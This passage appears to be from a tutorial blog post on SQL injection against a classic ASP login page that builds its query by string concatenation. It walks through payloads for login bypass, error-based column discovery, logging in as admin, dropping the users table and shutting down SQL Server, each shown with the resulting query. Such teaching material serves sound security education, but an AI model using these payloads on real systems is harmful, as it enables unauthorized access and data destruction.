query = "select count(*) from users where userName='" & userName & "' and userPass='" & password & "'“
…
%>
Sample Input
Login =john, Password = doe
select count(*) from users where userName='john' and userPass='doe'
Now check this!
Login = john, Password = ' or 1=1 --
select count(*) from users where userName='john' and userPass='' or 1=1 --'
Password check is nullified
-- used to prevent ASP from reporting mismatched quotes
And what about this?
Username: ' or 1=1 -- and Password: [Empty]
select count(*) from users where userName='' or 1=1 --' and userPass=''
Example 2
Username: ' having 1=1 -- , Password: [Empty]
select userName from users where userName='' having 1=1
You get a column name…
You will get the following error message:
Microsoft OLE DB Provider for SQL Server (0x80040E14) Column ' users.userName ' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 16
The Attack…
Username: ' or users.userName like 'a%' --
select userName from users where userName='' or users.userName like 'a%' --' and userPass=''
Logged In As admin!!!
Use of Semi-colon
Semi-colon allows multiple queries to be specified on one line.
Submitted as one batch and executed sequentially
select 1; select 1+2; select 1+3;
Can you guess what happens?
Username: ' or 1=1; drop table users; --
Table dropped!
Username: ' or 1=1; drop table users; -- and Password: [Anything]
Firstly, it would select the userName field for all rows in the users table.
Secondly, it would delete the users table
SHUTDOWN WITH NOWAIT!!
… causes SQL Server to shutdown, immediately stopping the Windows service
Username: '; shutdown with nowait; --
select userName from users where userName=''; shutdown with nowait; --' and userPass=''
0 comments
Post a comment